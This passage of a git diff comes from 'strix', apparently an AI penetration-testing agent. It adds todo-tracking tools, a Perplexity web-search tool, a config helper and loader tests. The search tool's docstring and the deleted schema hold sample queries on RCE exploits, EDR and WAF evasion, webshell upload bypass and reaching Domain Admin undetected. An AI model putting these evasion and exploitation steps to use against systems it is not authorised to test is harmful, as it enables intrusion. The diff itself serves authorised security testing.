+
+def _normalize_bulk_todos(raw_todos: Any) -> list[dict[str, Any]]:
+ if raw_todos is None:
+ return []
+ data: Any = raw_todos
+ if isinstance(raw_todos, str):
+ stripped = raw_todos.strip()
+ if not stripped:
+ return []
+ try:
+ data = json.loads(stripped)
+ except json.JSONDecodeError:
+ entries = [line.strip(" -*\t") for line in stripped.splitlines() if line.strip(" -*\t")]
+ return [{"title": entry} for entry in entries]
+
+ if isinstance(data, dict):
+ data = [data]
+ if not isinstance(data, list):
+ raise TypeError("Todos must be provided as a list, dict, or JSON string")
+
+ normalized: list[dict[str, Any]] = []
+ for item in data:
+ if isinstance(item, str):
+ title = item.strip()
+ if title:
+ normalized.append({"title": title})
+ continue
+ if not isinstance(item, dict):
+ raise TypeError("Each todo entry must be a string or object with a title")
+ title = item.get("title", "")
+ if not isinstance(title, str) or not title.strip():
+ raise ValueError("Each todo entry must include a non-empty 'title'")
+ normalized.append(
+ {
+ "title": title.strip(),
+ "description": (item.get("description") or "").strip() or None,
+ "priority": item.get("priority"),
+ },
+ )
+ return normalized
+
+
+def _apply_single_update(
+ agent_todos: dict[str, dict[str, Any]],
+ todo_id: str,
+ title: str | None = None,
+ description: str | None = None,
+ priority: str | None = None,
+ status: str | None = None,
+) -> dict[str, Any] | None:
+ if todo_id not in agent_todos:
+ return {"todo_id": todo_id, "error": f"Todo with ID '{todo_id}' not found"}
+ todo = agent_todos[todo_id]
+ if title is not None:
+ if not title.strip():
+ return {"todo_id": todo_id, "error": "Title cannot be empty"}
+ todo["title"] = title.strip()
+ if description is not None:
+ todo["description"] = description.strip() if description else None
+ if priority is not None:
+ try:
+ todo["priority"] = _normalize_priority(priority, str(todo.get("priority", "normal")))
+ except ValueError as exc:
+ return {"todo_id": todo_id, "error": str(exc)}
+ if status is not None:
+ status_candidate = status.lower()
+ if status_candidate not in VALID_STATUSES:
+ return {
+ "todo_id": todo_id,
+ "error": f"Invalid status. Must be one of: {', '.join(VALID_STATUSES)}",
+ }
+ todo["status"] = status_candidate
+ todo["completed_at"] = datetime.now(UTC).isoformat() if status_candidate == "done" else None
+ todo["updated_at"] = datetime.now(UTC).isoformat()
+ return None
+
+
+@function_tool(timeout=30)
+async def create_todo(ctx: RunContextWrapper, todos: str) -> str:
+ """Create one or many todos for the current agent.
+
+ Always pass a list, even for a single todo (wrap it in a one-item array).
+
+ Each agent (including subagents) has its **own private todo list** —
+ your todos don't leak to other agents and vice versa.
+
+ When to use:
+
+ - Planning multi-step assessments with parallel workstreams.
+ - Tracking work you'll come back to later.
+ - Breaking down complex scopes (per-endpoint, per-target, per-vuln-class).
+
+ When NOT to use:
+
+ - Simple linear workflows where progress is obvious.
+ - Single quick task — just do it.
+
+ Args:
+ todos: JSON array of todo objects. For one todo, pass a one-item
+ list. Each object's fields:
+
+ - ``title`` (str, **required**): short actionable title,
+ e.g. ``"Test /api/admin for IDOR"``.
+ - ``description`` (str, optional): extra context or
+ acceptance criteria.
+ - ``priority`` (str, optional): one of ``"low"`` /
+ ``"normal"`` / ``"high"`` / ``"critical"``. Defaults to
+ ``"normal"``.
+
+ Example: ``[{"title": "Probe /admin", "priority": "high"},
+ {"title": "Check JWT alg=none"}]``.
+ """
+ agent_id = _agent_id_from(ctx)
+ try:
+ tasks = _normalize_bulk_todos(todos)
+ if not tasks:
+ return json.dumps(
+ {"success": False, "error": "Provide a non-empty 'todos' list to create"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ agent_todos = _get_agent_todos(agent_id)
+ created: list[dict[str, Any]] = []
+ for task in tasks:
+ task_priority = _normalize_priority(task.get("priority"))
+ todo_id = str(uuid.uuid4())[:6]
+ timestamp = datetime.now(UTC).isoformat()
+ agent_todos[todo_id] = {
+ "title": task["title"],
+ "description": task.get("description"),
+ "priority": task_priority,
+ "status": "pending",
+ "created_at": timestamp,
+ "updated_at": timestamp,
+ "completed_at": None,
+ }
+ created.append({"todo_id": todo_id, "title": task["title"], "priority": task_priority})
+ except (ValueError, TypeError) as e:
+ return json.dumps(
+ {"success": False, "error": f"Failed to create todo: {e}"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ _persist()
+ return json.dumps(
+ {
+ "success": True,
+ "created": created,
+ "created_count": len(created),
+ "todos": _sorted_todos(agent_id),
+ "total_count": len(_get_agent_todos(agent_id)),
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+@function_tool(timeout=30)
+async def list_todos(
+ ctx: RunContextWrapper,
+ status: str | None = None,
+ priority: str | None = None,
+) -> str:
+ """List the current agent's todos, sorted by status then priority.
+
+ Sort order: status (done → in_progress → pending), then priority
+ within each status (critical → high → normal → low).
+
+ Args:
+ status: Filter — ``"pending"`` / ``"in_progress"`` / ``"done"``.
+ priority: Filter — ``"low"`` / ``"normal"`` / ``"high"`` /
+ ``"critical"``.
+ """
+ agent_id = _agent_id_from(ctx)
+ try:
+ agent_todos = _get_agent_todos(agent_id)
+ status_filter = status.lower() if isinstance(status, str) else None
+ priority_filter = priority.lower() if isinstance(priority, str) else None
+
+ todos_list: list[dict[str, Any]] = []
+ for todo_id, todo in agent_todos.items():
+ if status_filter and todo.get("status") != status_filter:
+ continue
+ if priority_filter and todo.get("priority") != priority_filter:
+ continue
+ entry = todo.copy()
+ entry["todo_id"] = todo_id
+ todos_list.append(entry)
+
+ todos_list.sort(key=_todo_sort_key)
+
+ summary: dict[str, int] = {"pending": 0, "in_progress": 0, "done": 0}
+ for todo in todos_list:
+ sv = todo.get("status", "pending")
+ summary[sv] = summary.get(sv, 0) + 1
+ except (ValueError, TypeError) as e:
+ return json.dumps(
+ {
+ "success": False,
+ "error": f"Failed to list todos: {e}",
+ "todos": [],
+ "filtered_count": 0,
+ "total_count": 0,
+ "summary": {"pending": 0, "in_progress": 0, "done": 0},
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+ return json.dumps(
+ {
+ "success": True,
+ "todos": todos_list,
+ "filtered_count": len(todos_list),
+ "total_count": len(agent_todos),
+ "summary": summary,
+ },
+ ensure_ascii=False,
+ default=str,
+ )
+
+
+@function_tool(timeout=30)
+async def update_todo(ctx: RunContextWrapper, updates: str) -> str:
+ """Update one or many todos.
+
+ Always pass a list, even for a single update (wrap it in a one-item
+ array).
+
+ For toggling status only, prefer the dedicated ``mark_todo_done`` /
+ ``mark_todo_pending`` tools — they're simpler and accept the same
+ list-of-ids form.
+
+ Args:
+ updates: JSON array of update objects. For one update, pass a
+ one-item list. Each object's fields:
+
+ - ``todo_id`` (str, **required**): ID returned by
+ ``create_todo``.
+ - ``title`` (str, optional): new title.
+ - ``description`` (str, optional): new description (empty
+ string clears it).
+ - ``priority`` (str, optional): one of ``"low"`` /
+ ``"normal"`` / ``"high"`` / ``"critical"``.
+ - ``status`` (str, optional): one of ``"pending"`` /
+ ``"in_progress"`` / ``"done"``.
+
+ Omitted fields stay unchanged. Example:
+ ``[{"todo_id": "abc", "status": "in_progress",
+ "priority": "high"}]``.
+ """
+ agent_id = _agent_id_from(ctx)
+ try:
+ agent_todos = _get_agent_todos(agent_id)
+ updates_to_apply = _normalize_bulk_updates(updates)
+ if not updates_to_apply:
+ return json.dumps(
+ {"success": False, "error": "Provide a non-empty 'updates' list"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ updated: list[str] = []
+ errors: list[dict[str, Any]] = []
+ for upd in updates_to_apply:
+ err = _apply_single_update(
+ agent_todos,
+ upd["todo_id"],
+ upd.get("title"),
+ upd.get("description"),
+ upd.get("priority"),
+ upd.get("status"),
+ )
+ if err:
+ errors.append(err)
+ else:
+ updated.append(upd["todo_id"])
+ except (ValueError, TypeError) as e:
+ return json.dumps({"success": False, "error": str(e)}, ensure_ascii=False, default=str)
+
+ if updated:
+ _persist()
+ response: dict[str, Any] = {
+ "success": len(errors) == 0,
+ "updated": updated,
+ "updated_count": len(updated),
+ "todos": _sorted_todos(agent_id),
+ "total_count": len(agent_todos),
+ }
+ if errors:
+ response["errors"] = errors
+ return json.dumps(response, ensure_ascii=False, default=str)
+
+
+def _mark(*, agent_id: str, todo_ids: str, new_status: str) -> str:
+ try:
+ agent_todos = _get_agent_todos(agent_id)
+ ids = _normalize_todo_ids(todo_ids)
+ if not ids:
+ msg = f"Provide a non-empty 'todo_ids' list to mark as {new_status}"
+ return json.dumps({"success": False, "error": msg}, ensure_ascii=False, default=str)
+
+ marked: list[str] = []
+ errors: list[dict[str, Any]] = []
+ timestamp = datetime.now(UTC).isoformat()
+ for tid in ids:
+ if tid not in agent_todos:
+ errors.append({"todo_id": tid, "error": f"Todo with ID '{tid}' not found"})
+ continue
+ todo = agent_todos[tid]
+ todo["status"] = new_status
+ todo["completed_at"] = timestamp if new_status == "done" else None
+ todo["updated_at"] = timestamp
+ marked.append(tid)
+ except (ValueError, TypeError) as e:
+ return json.dumps({"success": False, "error": str(e)}, ensure_ascii=False, default=str)
+
+ if marked:
+ _persist()
+ response: dict[str, Any] = {
+ "success": len(errors) == 0,
+ "marked": marked,
+ "marked_count": len(marked),
+ "new_status": new_status,
+ "todos": _sorted_todos(agent_id),
+ "total_count": len(agent_todos),
+ }
+ if errors:
+ response["errors"] = errors
+ return json.dumps(response, ensure_ascii=False, default=str)
+
+
+@function_tool(timeout=30)
+async def mark_todo_done(ctx: RunContextWrapper, todo_ids: str) -> str:
+ """Mark one or many todos as done.
+
+ Always pass a list, even for a single ID (wrap it in a one-item array).
+
+ Args:
+ todo_ids: JSON array of todo IDs to mark done. For one todo,
+ pass a one-item list.
+ """
+ return _mark(agent_id=_agent_id_from(ctx), todo_ids=todo_ids, new_status="done")
+
+
+@function_tool(timeout=30)
+async def mark_todo_pending(ctx: RunContextWrapper, todo_ids: str) -> str:
+ """Reset one or many todos to pending (e.g., to retry a failed task).
+
+ Always pass a list, even for a single ID (wrap it in a one-item array).
+
+ Args:
+ todo_ids: JSON array of todo IDs to reset to pending. For one
+ todo, pass a one-item list.
+ """
+ return _mark(agent_id=_agent_id_from(ctx), todo_ids=todo_ids, new_status="pending")
+
+
+@function_tool(timeout=30)
+async def delete_todo(ctx: RunContextWrapper, todo_ids: str) -> str:
+ """Delete one or many todos. Removes them entirely (no soft-delete).
+
+ Always pass a list, even for a single ID (wrap it in a one-item array).
+
+ Args:
+ todo_ids: JSON array of todo IDs to delete. For one todo, pass
+ a one-item list.
+ """
+ agent_id = _agent_id_from(ctx)
+ try:
+ agent_todos = _get_agent_todos(agent_id)
+ ids = _normalize_todo_ids(todo_ids)
+ if not ids:
+ return json.dumps(
+ {"success": False, "error": "Provide a non-empty 'todo_ids' list to delete"},
+ ensure_ascii=False,
+ default=str,
+ )
+
+ deleted: list[str] = []
+ errors: list[dict[str, Any]] = []
+ for tid in ids:
+ if tid not in agent_todos:
+ errors.append({"todo_id": tid, "error": f"Todo with ID '{tid}' not found"})
+ continue
+ del agent_todos[tid]
+ deleted.append(tid)
+ except (ValueError, TypeError) as e:
+ return json.dumps({"success": False, "error": str(e)}, ensure_ascii=False, default=str)
+
+ if deleted:
+ _persist()
+ response: dict[str, Any] = {
+ "success": len(errors) == 0,
+ "deleted": deleted,
+ "deleted_count": len(deleted),
+ "todos": _sorted_todos(agent_id),
+ "total_count": len(agent_todos),
+ }
+ if errors:
+ response["errors"] = errors
+ return json.dumps(response, ensure_ascii=False, default=str)
diff --git a/strix/tools/view_image/README.md b/strix/tools/view_image/README.md
new file mode 100644
index 000000000..cd4c6229c
--- /dev/null
+++ b/strix/tools/view_image/README.md
@@ -0,0 +1,17 @@
+# view_image
+
+SDK-provided tool that loads an image from the sandbox workspace and
+returns it as an image content block for vision-capable models.
+
+- **Implementation:** `agents.sandbox.capabilities.tools.view_image.ViewImageTool`
+ (upstream `agents` SDK)
+- **Wired in:** `strix/agents/factory.py` — added per-run via the SDK
+ `Filesystem` capability.
+- **Strix defaults:** screenshots default to
+ `/workspace/.agent-browser-screenshots/` via `AGENT_BROWSER_SCREENSHOT_DIR`
+ (set in `containers/Dockerfile`; dir is created at container start in
+ `containers/docker-entrypoint.sh`).
+- **Skill:** screenshot workflow lives in `strix/skills/tooling/agent_browser.md`.
+- **Recovery:** vision-not-supported model rejections are auto-recovered
+ via `strix.core.sessions.strip_all_images_from_session`, invoked from
+ `strix/core/execution.py`.
diff --git a/strix/tools/web_search/__init__.py b/strix/tools/web_search/__init__.py
index b0c20b8b1..e69de29bb 100644
--- a/strix/tools/web_search/__init__.py
+++ b/strix/tools/web_search/__init__.py
@@ -1,4 +0,0 @@
-from .web_search_actions import web_search
-
-
-__all__ = ["web_search"]
diff --git a/strix/tools/web_search/tool.py b/strix/tools/web_search/tool.py
new file mode 100644
index 000000000..04482755a
--- /dev/null
+++ b/strix/tools/web_search/tool.py
@@ -0,0 +1,179 @@
+"""``web_search`` — Perplexity-backed security-focused web search."""
+
+from __future__ import annotations
+
+import asyncio
+import json
+import logging
+from typing import Any
+
+import requests
+from agents import RunContextWrapper, function_tool
+
+from strix.config import load_settings
+
+
+logger = logging.getLogger(__name__)
+
+
+_SYSTEM_PROMPT = """You are assisting a cybersecurity agent specialized in vulnerability scanning
+and security assessment running on Kali Linux. When responding to search queries:
+
+1. Prioritize cybersecurity-relevant information including:
+ - Vulnerability details (CVEs, CVSS scores, impact)
+ - Security tools, techniques, and methodologies
+ - Exploit information and proof-of-concepts
+ - Security best practices and mitigations
+ - Penetration testing approaches
+ - Web application security findings
+
+2. Provide technical depth appropriate for security professionals
+3. Include specific versions, configurations, and technical details when available
+4. Focus on actionable intelligence for security assessment
+5. Cite reliable security sources (NIST, OWASP, CVE databases, security vendors)
+6. When providing commands or installation instructions, prioritize Kali Linux compatibility
+ and use apt package manager or tools pre-installed in Kali
+7. Be detailed and specific - avoid general answers. Always include concrete code examples,
+ command-line instructions, configuration snippets, or practical implementation steps
+ when applicable
+
+Structure your response to be comprehensive yet concise, emphasizing the most critical
+security implications and details."""
+
+
+def _do_search(query: str) -> dict[str, Any]: # noqa: PLR0911 - each error class needs its own sanitized return
+ if not query or not query.strip():
+ return {"success": False, "error": "Query cannot be empty"}
+
+ api_key = load_settings().integrations.perplexity_api_key
+ if not api_key:
+ logger.warning("web_search invoked without PERPLEXITY_API_KEY configured")
+ return {
+ "success": False,
+ "error": (
+ "Web search is not configured for this scan "
+ "(operator needs to set PERPLEXITY_API_KEY). Proceed without it"
+ ),
+ }
+ logger.info("web_search query (len=%d): %s", len(query), query[:120])
+
+ url = "https://api.perplexity.ai/chat/completions"
+ headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"}
+ payload = {
+ "model": "sonar-reasoning-pro",
+ "messages": [
+ {"role": "system", "content": _SYSTEM_PROMPT},
+ {"role": "user", "content": query},
+ ],
+ }
+
+ try:
+ response = requests.post(url, headers=headers, json=payload, timeout=300)
+ response.raise_for_status()
+ content = response.json()["choices"][0]["message"]["content"]
+ except requests.exceptions.Timeout:
+ logger.warning("web_search timed out")
+ return {
+ "success": False,
+ "error": "Web search timed out. Try again or shorten the query",
+ }
+ except requests.exceptions.HTTPError as exc:
+ status = exc.response.status_code if exc.response is not None else None
+ logger.exception("web_search HTTP error status=%s", status)
+ if status is not None and 400 <= status < 500:
+ return {
+ "success": False,
+ "error": (
+ "Web search rejected the query. Refine it "
+ "(more specific, shorter, no unusual characters) and retry"
+ ),
+ }
+ return {
+ "success": False,
+ "error": "Web search service is unavailable. Try again later",
+ }
+ except requests.exceptions.RequestException:
+ logger.exception("web_search network error")
+ return {
+ "success": False,
+ "error": "Web search network error. Try again later",
+ }
+ except (KeyError, IndexError, ValueError):
+ logger.exception("web_search response shape unexpected")
+ return {
+ "success": False,
+ "error": "Web search returned an unexpected response. Try again",
+ }
+ except Exception:
+ logger.exception("web_search failed")
+ return {
+ "success": False,
+ "error": "Web search failed unexpectedly",
+ }
+ else:
+ return {
+ "success": True,
+ "query": query,
+ "content": content,
+ }
+
+
+@function_tool(timeout=330)
+async def web_search(ctx: RunContextWrapper, query: str) -> str:
+ """Real-time web search via Perplexity — your primary research tool.
+
+ Use it liberally for anything that's not in your training data:
+
+ - Current CVEs, advisories, and 0-days for a specific
+ service/version (``OpenSSH 9.6 RCE``, ``Jenkins 2.401.3 auth
+ bypass``).
+ - Latest WAF / EDR bypass techniques (``Cloudflare WAF SQLi
+ bypass 2025``, ``CrowdStrike Falcon evasion``).
+ - Tool documentation, flag references, payload galleries.
+ - Target reconnaissance / OSINT (company tech stack, leaked
+ credentials, exposed assets).
+ - Cloud-provider misconfiguration patterns
+ (Azure/AWS/GCP-specific attack paths).
+ - Bug-bounty writeups and security research papers.
+ - Compliance frameworks and CWE/CVSS guidance.
+ - Picking the right Python lib / Kali tool for a job (``best 2025
+ lib for JWT alg-confusion``).
+ - When stuck — looking up the exact error message, ``Access
+ denied`` quirks, kernel-specific local-privesc exploits.
+
+ Be specific: include version numbers, error messages, target
+ technology, and the exact problem you're stuck on. The more context
+ in the query, the more actionable the answer. Vague queries get
+ generic answers.
+
+ A security-focused system prompt biases responses toward CVEs,
+ exploits, Kali-compatible tooling, and concrete code/command
+ examples.
+
+ **Good example queries** (each is a full sentence, names a
+ version/product, and asks one concrete thing):
+
+ - ``"Found OpenSSH 7.4 on port 22 — any known RCE or privesc for
+ this exact version?"``
+ - ``"Cloudflare WAF is blocking my sqlmap on a login form — what
+ bypass techniques work in 2025?"``
+ - ``"Target runs WordPress 5.8.3 + WooCommerce 6.1.1 — current
+ RCE chains for this combo?"``
+ - ``"Low-priv shell on Ubuntu 20.04 kernel 5.4.0-74-generic — what
+ local privesc exploits hit this kernel?"``
+ - ``"Compromised domain user on Windows Server 2019 AD — quietest
+ paths to Domain Admin without tripping EDR?"``
+ - ``"'Access denied' uploading a webshell to IIS 10.0 — alternate
+ Windows IIS upload bypass techniques?"``
+ - ``"Discovered Jenkins 2.401.3 on staging — current authn-bypass
+ and RCE exploits for this version?"``
+ - ``"Best 2025 Python lib for JWT algorithm-confusion + weak-secret
+ cracking?"``
+
+ Args:
+ query: The search query — a full sentence with version numbers,
+ target tech, and the specific question. Treat it like a
+ ticket title for a senior security engineer.
+ """
+ result = await asyncio.to_thread(_do_search, query)
+ return json.dumps(result, ensure_ascii=False, default=str)
diff --git a/strix/tools/web_search/web_search_actions.py b/strix/tools/web_search/web_search_actions.py
deleted file mode 100644
index 52f00a970..000000000
--- a/strix/tools/web_search/web_search_actions.py
+++ /dev/null
@@ -1,80 +0,0 @@
-import os
-from typing import Any
-
-import requests
-
-from strix.tools.registry import register_tool
-
-
-SYSTEM_PROMPT = """You are assisting a cybersecurity agent specialized in vulnerability scanning
-and security assessment running on Kali Linux. When responding to search queries:
-
-1. Prioritize cybersecurity-relevant information including:
- - Vulnerability details (CVEs, CVSS scores, impact)
- - Security tools, techniques, and methodologies
- - Exploit information and proof-of-concepts
- - Security best practices and mitigations
- - Penetration testing approaches
- - Web application security findings
-
-2. Provide technical depth appropriate for security professionals
-3. Include specific versions, configurations, and technical details when available
-4. Focus on actionable intelligence for security assessment
-5. Cite reliable security sources (NIST, OWASP, CVE databases, security vendors)
-6. When providing commands or installation instructions, prioritize Kali Linux compatibility
- and use apt package manager or tools pre-installed in Kali
-7. Be detailed and specific - avoid general answers. Always include concrete code examples,
- command-line instructions, configuration snippets, or practical implementation steps
- when applicable
-
-Structure your response to be comprehensive yet concise, emphasizing the most critical
-security implications and details."""
-
-
-@register_tool(sandbox_execution=False)
-def web_search(query: str) -> dict[str, Any]:
- try:
- api_key = os.getenv("PERPLEXITY_API_KEY")
- if not api_key:
- return {
- "success": False,
- "message": "PERPLEXITY_API_KEY environment variable not set",
- "results": [],
- }
-
- url = "https://api.perplexity.ai/chat/completions"
- headers = {"Authorization": f"Bearer {api_key}", "Content-Type": "application/json"}
-
- payload = {
- "model": "sonar-reasoning",
- "messages": [
- {"role": "system", "content": SYSTEM_PROMPT},
- {"role": "user", "content": query},
- ],
- }
-
- response = requests.post(url, headers=headers, json=payload, timeout=300)
- response.raise_for_status()
-
- response_data = response.json()
- content = response_data["choices"][0]["message"]["content"]
-
- except requests.exceptions.Timeout:
- return {"success": False, "message": "Request timed out", "results": []}
- except requests.exceptions.RequestException as e:
- return {"success": False, "message": f"API request failed: {e!s}", "results": []}
- except KeyError as e:
- return {
- "success": False,
- "message": f"Unexpected API response format: missing {e!s}",
- "results": [],
- }
- except Exception as e: # noqa: BLE001
- return {"success": False, "message": f"Web search failed: {e!s}", "results": []}
- else:
- return {
- "success": True,
- "query": query,
- "content": content,
- "message": "Web search completed successfully",
- }
diff --git a/strix/tools/web_search/web_search_actions_schema.xml b/strix/tools/web_search/web_search_actions_schema.xml
deleted file mode 100644
index 993f4e976..000000000
--- a/strix/tools/web_search/web_search_actions_schema.xml
+++ /dev/null
@@ -1,83 +0,0 @@
-
-
- Search the web using Perplexity AI for real-time information and current events.
-
-This is your PRIMARY research tool - use it extensively and liberally for:
-- Current vulnerabilities, CVEs, and security advisories
-- Latest attack techniques, exploits, and proof-of-concepts
-- Technology-specific security research and documentation
-- Target reconnaissance and OSINT gathering
-- Security tool documentation and usage guides
-- Incident response and threat intelligence
-- Compliance frameworks and security standards
-- Bug bounty reports and security research findings
-- Security conference talks and research papers
-
-The tool provides intelligent, contextual responses with current information that may not be in your training data. Use it early and often during security assessments to gather the most up-to-date factual information.
- This tool leverages Perplexity AI's sonar-reasoning model to search the web and provide intelligent, contextual responses to queries. It's essential for effective cybersecurity work as it provides access to the latest vulnerabilities, attack vectors, security tools, and defensive techniques. The AI understands security context and can synthesize information from multiple sources.
-
-
- The search query or question you want to research. Be specific and include relevant technical terms, version numbers, or context for better results. Make it as detailed as possible, with the context of the current security assessment.
-
-
-
- Response containing: - success: Whether the search was successful - query: The original search query - content: AI-generated response with current information - message: Status message
-
-
- # Found specific service version during reconnaissance
-
- I found OpenSSH 7.4 running on port 22. Are there any known exploits or privilege escalation techniques for this specific version?
-
-
- # Encountered WAF blocking attempts
-
- Cloudflare is blocking my SQLmap attempts on this login form. What are the latest bypass techniques for Cloudflare WAF in 2024?
-
-
- # Need to exploit discovered CMS
-
- Target is running WordPress 5.8.3 with WooCommerce 6.1.1. What are the current RCE exploits for this combination?
-
-
- # Stuck on privilege escalation
-
- I have low-privilege shell on Ubuntu 20.04 with kernel 5.4.0-74-generic. What local privilege escalation exploits work for this exact kernel version?
-
-
- # Need lateral movement in Active Directory
-
- I compromised a domain user account in Windows Server 2019 AD environment. What are the best techniques to escalate to Domain Admin without triggering EDR?
-
-
- # Encountered specific error during exploitation
-
- Getting "Access denied" when trying to upload webshell to IIS 10.0. What are alternative file upload bypass techniques for Windows IIS?
-
-
- # Need to bypass endpoint protection
-
- Target has CrowdStrike Falcon running. What are the latest techniques to bypass this EDR for payload execution and persistence?
-
-
- # Research target's infrastructure for attack surface
-
- I found target company "AcmeCorp" uses Office 365 and Azure. What are the common misconfigurations and attack vectors for this cloud setup?
-
-
- # Found interesting subdomain during recon
-
- Discovered staging.target.com running Jenkins 2.401.3. What are the current authentication bypass and RCE exploits for this Jenkins version?
-
-
- # Need alternative tools when primary fails
-
- Nmap is being detected and blocked by the target's IPS. What are stealthy alternatives for port scanning that evade modern intrusion prevention systems?
-
-
- # Finding best security tools for specific tasks
-
- What is the best Python pip package in 2025 for JWT security testing and manipulation, including cracking weak secrets and algorithm confusion attacks?
-
-
-
-
diff --git a/strix/utils/__init__.py b/strix/utils/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/strix/utils/resource_paths.py b/strix/utils/resource_paths.py
new file mode 100644
index 000000000..6a0ab4415
--- /dev/null
+++ b/strix/utils/resource_paths.py
@@ -0,0 +1,13 @@
+import sys
+from pathlib import Path
+
+
+def get_strix_resource_path(*parts: str) -> Path:
+ frozen_base = getattr(sys, "_MEIPASS", None)
+ if frozen_base:
+ base = Path(frozen_base) / "strix"
+ if base.exists():
+ return base.joinpath(*parts)
+
+ base = Path(__file__).resolve().parent.parent
+ return base.joinpath(*parts)
diff --git a/tests/__init__.py b/tests/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/tests/test_config_loader.py b/tests/test_config_loader.py
new file mode 100644
index 000000000..247c41ffe
--- /dev/null
+++ b/tests/test_config_loader.py
@@ -0,0 +1,178 @@
+"""Tests for strix.config.loader: JSON overrides, alias resolution, persistence."""
+
+from __future__ import annotations
+
+import json
+from typing import TYPE_CHECKING
+
+import pytest
+from pydantic import AliasChoices, Field
+from pydantic.fields import FieldInfo
+
+from strix.config import loader
+
+
+if TYPE_CHECKING:
+ from pathlib import Path
+
+
+_LLM_ENV_KEYS = [
+ "STRIX_LLM",
+ "LLM_API_KEY",
+ "OPENAI_API_KEY",
+ "LLM_API_BASE",
+ "OPENAI_API_BASE",
+ "OPENAI_BASE_URL",
+ "LITELLM_BASE_URL",
+ "OLLAMA_API_BASE",
+ "STRIX_REASONING_EFFORT",
+ "LLM_TIMEOUT",
+ "PERPLEXITY_API_KEY",
+ # RuntimeSettings
+ "STRIX_IMAGE",
+ "STRIX_RUNTIME_BACKEND",
+ "STRIX_MAX_LOCAL_COPY_MB",
+ # TelemetrySettings
+ "STRIX_TELEMETRY",
+]
+
+
+@pytest.fixture(autouse=True)
+def _reset_loader_state(monkeypatch: pytest.MonkeyPatch) -> None:
+ """Reset module globals and clear known env vars for deterministic runs."""
+ for key in _LLM_ENV_KEYS:
+ monkeypatch.delenv(key, raising=False)
+ monkeypatch.setattr(loader, "_cached", None)
+ monkeypatch.setattr(loader, "_override", None)
+
+
+# --------------------------------------------------------------------------- #
+# _read_json_overrides
+# --------------------------------------------------------------------------- #
+
+
+def test_read_json_overrides_missing_file(tmp_path: Path) -> None:
+ assert loader._read_json_overrides(tmp_path / "nope.json") == {}
+
+
+def test_read_json_overrides_corrupt_json(tmp_path: Path) -> None:
+ path = tmp_path / "cli-config.json"
+ path.write_text("{not valid json", encoding="utf-8")
+ assert loader._read_json_overrides(path) == {}
+
+
+def test_read_json_overrides_non_dict_env(tmp_path: Path) -> None:
+ path = tmp_path / "cli-config.json"
+ path.write_text(json.dumps({"env": ["not", "a", "dict"]}), encoding="utf-8")
+ assert loader._read_json_overrides(path) == {}
+
+
+def test_read_json_overrides_maps_to_nested_settings(tmp_path: Path) -> None:
+ path = tmp_path / "cli-config.json"
+ path.write_text(
+ json.dumps({"env": {"STRIX_LLM": "my-model", "PERPLEXITY_API_KEY": "pk"}}),
+ encoding="utf-8",
+ )
+ assert loader._read_json_overrides(path) == {
+ "llm": {"model": "my-model"},
+ "integrations": {"perplexity_api_key": "pk"},
+ }
+
+
+def test_read_json_overrides_skips_keys_already_in_environ(
+ tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ monkeypatch.setenv("STRIX_LLM", "from-env")
+ path = tmp_path / "cli-config.json"
+ path.write_text(json.dumps({"env": {"STRIX_LLM": "from-file"}}), encoding="utf-8")
+ # env wins -> the JSON value is not surfaced as an init kwarg.
+ assert loader._read_json_overrides(path) == {}
+
+
+# --------------------------------------------------------------------------- #
+# _aliases_for
+# --------------------------------------------------------------------------- #
+
+
+def test_aliases_for_simple_alias() -> None:
+ finfo = FieldInfo(alias="SIMPLE_ALIAS")
+ assert loader._aliases_for(finfo) == ["SIMPLE_ALIAS"]
+
+
+def test_aliases_for_alias_choices() -> None:
+ finfo: FieldInfo = Field( # type: ignore[assignment]
+ default=None,
+ validation_alias=AliasChoices("FIRST", "SECOND"),
+ )
+ assert loader._aliases_for(finfo) == ["FIRST", "SECOND"]
+
+
+def test_aliases_for_string_validation_alias() -> None:
+ finfo: FieldInfo = Field(default=None, validation_alias="STR_ALIAS") # type: ignore[assignment]
+ assert loader._aliases_for(finfo) == ["STR_ALIAS"]
+
+
+def test_aliases_for_no_alias() -> None:
+ assert loader._aliases_for(FieldInfo()) == []
+
+
+# --------------------------------------------------------------------------- #
+# apply_config_override + load_settings round-trip
+# --------------------------------------------------------------------------- #
+
+
+def test_apply_override_and_load_settings_round_trip(tmp_path: Path) -> None:
+ path = tmp_path / "cli-config.json"
+ path.write_text(
+ json.dumps({"env": {"STRIX_LLM": "round-trip-model", "PERPLEXITY_API_KEY": "pk"}}),
+ encoding="utf-8",
+ )
+
+ loader.apply_config_override(path)
+ settings = loader.load_settings()
+
+ assert settings.llm.model == "round-trip-model"
+ assert settings.integrations.perplexity_api_key == "pk"
+ # Second call is memoized -> same object.
+ assert loader.load_settings() is settings
+
+
+def test_apply_config_override_invalidates_cache(tmp_path: Path) -> None:
+ first = tmp_path / "first.json"
+ first.write_text(json.dumps({"env": {"STRIX_LLM": "first-model"}}), encoding="utf-8")
+ second = tmp_path / "second.json"
+ second.write_text(json.dumps({"env": {"STRIX_LLM": "second-model"}}), encoding="utf-8")
+
+ loader.apply_config_override(first)
+ assert loader.load_settings().llm.model == "first-model"
+
+ loader.apply_config_override(second)
+ assert loader.load_settings().llm.model == "second-model"
+
+
+# --------------------------------------------------------------------------- #
+# persist_current
+# --------------------------------------------------------------------------- #
+
+
+def test_persist_current_writes_env_block(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("STRIX_LLM", "persisted-model")
+ target = tmp_path / "sub" / "cli-config.json"
+ loader.apply_config_override(target)
+
+ loader.persist_current()
+
+ assert target.exists()
+ assert json.loads(target.read_text(encoding="utf-8")) == {
+ "env": {"STRIX_LLM": "persisted-model"}
+ }
+
+
+def test_persist_current_sets_0600_mode(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setenv("STRIX_LLM", "persisted-model")
+ target = tmp_path / "cli-config.json"
+ loader.apply_config_override(target)
+
+ loader.persist_current()
+
+ assert target.stat().st_mode & 0o777 == 0o600
diff --git a/tests/test_cost_tracking.py b/tests/test_cost_tracking.py
